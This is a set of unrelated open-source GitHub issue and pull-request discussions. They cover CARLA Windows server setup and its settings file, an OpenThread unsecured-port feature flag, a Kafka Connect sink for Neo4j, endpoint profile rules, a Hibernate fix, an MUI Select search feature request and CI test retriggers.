@gjc13 personally,  I am still not in favor of adding such application required tricks into OT core even with some feature flag. It's the responsibility of the upper layer to ensure the removal of unsecure Port and properly disable Link layer security for the message to send.

@librasungirl Unsecured port feature is implemented in OpenThread's IP stack. I treat auto removing an unsecured port on receiving a secured packet a feature of unsecured port itself. So I think this PR should update the document for unsecured port feature. @jwhui

@abtink @librasungirl @bukepo
We've decided to add a feature flag for it and have added the feature description.


Carla windows Release

I'm trying to use the latest release of CARLA on windows and run it as client and server but there i had this error log.
ERROR: (<IP_ADDRESS>:2000) failed to connect: [WinError 10061] No connection could be made because the target machine actively refused it
i wonder if this windows release work normally as client/server connection or not.

Hi @AminYounes92,
It should work normally, but seems that the game reset (on a new episode) takes too long on Windows and the client throws this error. A quick fix could be to increase the timeout on the client side (by default is 15 sec).
Try something like:
with make_carla_client(host, port, timeout=1800) as client:

Hi @marcgpuig
Thank you for your response.
I've tried your proposed solution but still have the same error. I think its more related to how can we run the server side on windows as in LINUX there is a certain command in the terminal to run carla as server which is missing in windows.

@AminYounes92
In Windows you can run the server with the same commands as you do in Linux.
Remember to use -carla-server to enable the server mode.
This works for me:
CarlaUE4.exe -carla-server -benchmark -fps=5 -windowed -ResX=800 -ResY=600

Remember, the start may be slow, give it some time and then run the python client.
We are currently working on this experimental Windows release, all the feedback and things you can figure it out will be very appreciated :)

@AminYounes92
Remember that you can change the timeout in the server side too from the config file, this may help.
Try increasing that value:
; Time-out in milliseconds for the networking operations.
ServerTimeOut=10000

Hi. Wonderful! But, loading settings via ini file isn't working.
CarlaUE4.exe  -carla-settings="./CARLA_0.7.1\CarlaSettings.ini"
And the ini contents:
; Example of settings file for CARLA.
;
; Use it with ./CarlaUE4.sh -carla-settings=Path/To/This/File.
[CARLA/Server]
; If set to false, a mock controller will be used instead of waiting for a real
; client to connect.
UseNetworking=true
; Ports to use for the server-client communication. This can be overridden by
; the command-line switch -world-port=N, write and read ports will be set to
; N+1 and N+2 respectively.
WorldPort=2000
; Time-out in milliseconds for the networking operations.
;ServerTimeOut=10000
ServerTimeOut=10000
; In synchronous mode, CARLA waits every frame until the control from the client
; is received.
SynchronousMode=true
; Send info about every non-player agent in the scene every frame, the
; information is attached to the measurements message. This includes other
; vehicles, pedestrians and traffic signs. Disabled by default to improve
; performance.
SendNonPlayerAgentsInfo=false
[CARLA/LevelSettings]
; Path of the vehicle class to be used for the player. Leave empty for default.
; Paths follow the pattern "/Game/Blueprints/Vehicles/Mustang/Mustang.Mustang_C"
PlayerVehicle=
; Number of non-player vehicles to be spawned into the level.
NumberOfVehicles=30
; Number of non-player pedestrians to be spawned into the level.
NumberOfPedestrians=60
; Index of the weather/lighting presets to use. If negative, the default presets
; of the map will be used.
WeatherId=1
; Seeds for the pseudo-random number generators.
SeedVehicles=123456789
SeedPedestrians=123456789
[CARLA/SceneCapture]
; Names of the cameras to be attached to the player, comma-separated, each of
; them should be defined in its own subsection. E.g., Uncomment next line to add
; a camera called MyCamera to the vehicle
Cameras=MyCamera
; Now, every camera we added needs to be defined it in its own subsection.
[CARLA/SceneCapture/MyCamera]
; Post-processing effect to be applied. Valid values:
;   * None                  No effects applied.
;   * SceneFinal            Post-processing present at scene (bloom, fog, etc).
;   * Depth                 Depth map ground-truth only.
;   * SemanticSegmentation  Semantic segmentation ground-truth only.
PostProcessing=SemanticSegmentation
; Size of the captured image in pixels.
ImageSizeX=800
ImageSizeY=600
; Camera (horizontal) field of view in degrees.
CameraFOV=90
; Position of the camera relative to the car in centimeters.
CameraPositionX=15
CameraPositionY=0
CameraPositionZ=123
; Rotation of the camera relative to the car in degrees.
CameraRotationPitch=8
CameraRotationRoll=0
CameraRotationYaw=0
; Stereo setup example:
;
[CARLA/SceneCapture]
Cameras=MyCamera,CameraStereoLeft/RGB,CameraStereoRight/RGB
ImageSizeX=800
ImageSizeY=600
CameraFOV=90
[CARLA/SceneCapture/CameraStereoLeft]
CameraPositionX=170
CameraPositionY=-30
CameraPositionZ=150
CameraRotationPitch=0
CameraRotationRoll=0
CameraRotationYaw=0
[CARLA/SceneCapture/CameraStereoLeft/RGB]
PostProcessing=SceneFinal
; [CARLA/SceneCapture/CameraStereoLeft/Depth]
; PostProcessing=Depth
[CARLA/SceneCapture/CameraStereoRight]
CameraPositionX=170
CameraPositionY=30
CameraPositionZ=150
CameraRotationPitch=0
CameraRotationRoll=0
CameraRotationYaw=0
[CARLA/SceneCapture/CameraStereoRight/RGB]
PostProcessing=SceneFinal
; [CARLA/SceneCapture/CameraStereoRight/Depth]
; PostProcessing=Depth

@eds89,
Using the provided file hierarchy:

Try to modify and use the Example.CarlaSettings.ini with the settings you gave to me and try the following command:
CarlaUE4.exe -carla-settings=Example.CarlaSettings.ini

This works fine for me.

Just noticed that absolute paths do not work in Linux either, it's not even showing the "Unable to find settings file" error. I will open an issue for this.


fixes #92: Provide Kafka Connect Sink

Fixes #92
First iteration of the Kafka Connect Sink
Proposed Changes (Mandatory)
A brief list of proposed changes in order to fix the issue:

Created a package common in order to share functionalities between modules
Create a subproject kafka-connect-neo4j with the current implementation
Added docker compose file in order to test it

Hi @jexp I updated the PR with your feedbacks!


Add support for list of profiles on endpoints.

Profiles are executed in order.  First accept or deny wins.
The default if there is no match is to drop the packet.
Single-profile case passed some basic FVs.

Caveats:

Since we need to return from a chain rather than accept,
and we need to distinguish explicit return the implicit
end-of-chain return.  I have used the MARK action to
distinguish the cases.
The combination of anti-spoof and profile dispatch in the
from-endpoint chains is now suboptimal (3nm rules, where
we could do n+3m instead).
The tag index is now 4 levels deep which would be a problem
if we had an endpoint with many IPs, many profiles and
many tags per profile.  This could be decomposed into
multiple smaller indices.

@Lukasa I think you wanted this to test against tomorrow.  I haven't tested multiple profiles yet but WCGW?

@Lukasa I've sweetened the deal with some UTs for IpsetManager.  Note: this PR is against your integration branch, not master so I'm expecting we'll give this a good FV before we merge the whole thing together onto master.

This is with you for review this week @plwhite.

@plwhite I've been ruminating on this over the weekend and I think it would be cleaner (and better performing) to reify the profiles so that the RulesManager's IDs are tuples containing the sequence of profile IDs.  However, I think that's time that would be better spent elsewhere so I can't justify making that change.

This hit dull merge errors. I therefore have manually merged it (cherry-pick) into feature/neutron-ha, and this can be closed.


There already is a “doxie”

http://www.getdoxie.com/
@stoeffel should we care?

Hmmm... I don't think that we have to care :smile:

It might just be hard to get near the top in search results. But I guess you’re right. If it’s not a problem for gulp, there’s no need to worry for us.


HHH-13884 Order.reverse() contract

https://hibernate.atlassian.net/browse/HHH-13884
backported in #3271
javax.persistence.criteria.Order.reverse() method javadoc explicitly declares that reverse() should return new instance.

@sebersole requested change addressed. Still any objections to merge it?

@sebersole @beikov please make a decision on it. It was created half a year ago. If you don't like it, lets close.

Could you please rebase it, I can't merge it right now.

@beikov rebased on top of wip/6.0 and squashed into a single commit without changes.


Can we add search input in "SELECT" component?

I know there is autocomplete component, but it will be great if select component has input text to search options, it makes selecting options easy if there are lots of options.
Examples 🌈
select2 plugin also has search option:
https://select2.org/searching

The Select component supports keyboard navigation - if you press letter keys when the Select has focus, it'll highlight the item that starts with the phrase you write. Having an editable textbox in addition to a dropdown would make it a combo box. And this is something that Autocomplete component is for. What makes you not want to use Autocomplete in your case?

When you don't need all the bells and whistles, use Select. If that's not enough, use Autocomplete. The Autocomplete has much more going on under the covers and it would be overkill to use it in all scenarios.
I'm closing the issue as MUI provides a way to achieve your goal.


Serve both as YAML and as JSON

It would be nice if we could serve the openapi both as yaml and json. This is commonly done by either using the Accept header, or by reading a format=[json|yaml] query parameter.

Accept seems like proper solution. Although maybe serde_yaml should be behind feature.

Added in 0.2.1


right link for Katalog usług elektronicznych

@bun-den could you please create a separate PR for the proper link? The previous PR adding ePUAP to ZUS has been merged


ONIX Refactor

Meta-issue to track ongoing development tasks.

[ ] #20
[x] #16
[x] #15
[x] #14
[ ] #17
[x] #38

@glopesdev should we close this since we have moved on to using Milestones to group related issues?


Isolate direct routing device functionality

This moves the resolving of the DirectRoutingDevice into its own component allowing us to finally remove the DeviceManager shim.

/test

/test

/ci-runtime

/test

/test

/test

/test

/test

/test

/test

/test

ci-e2e failing due to same reason as it's failing in all the other PRs, so marking this ready for review.

/test

/test

/test

/test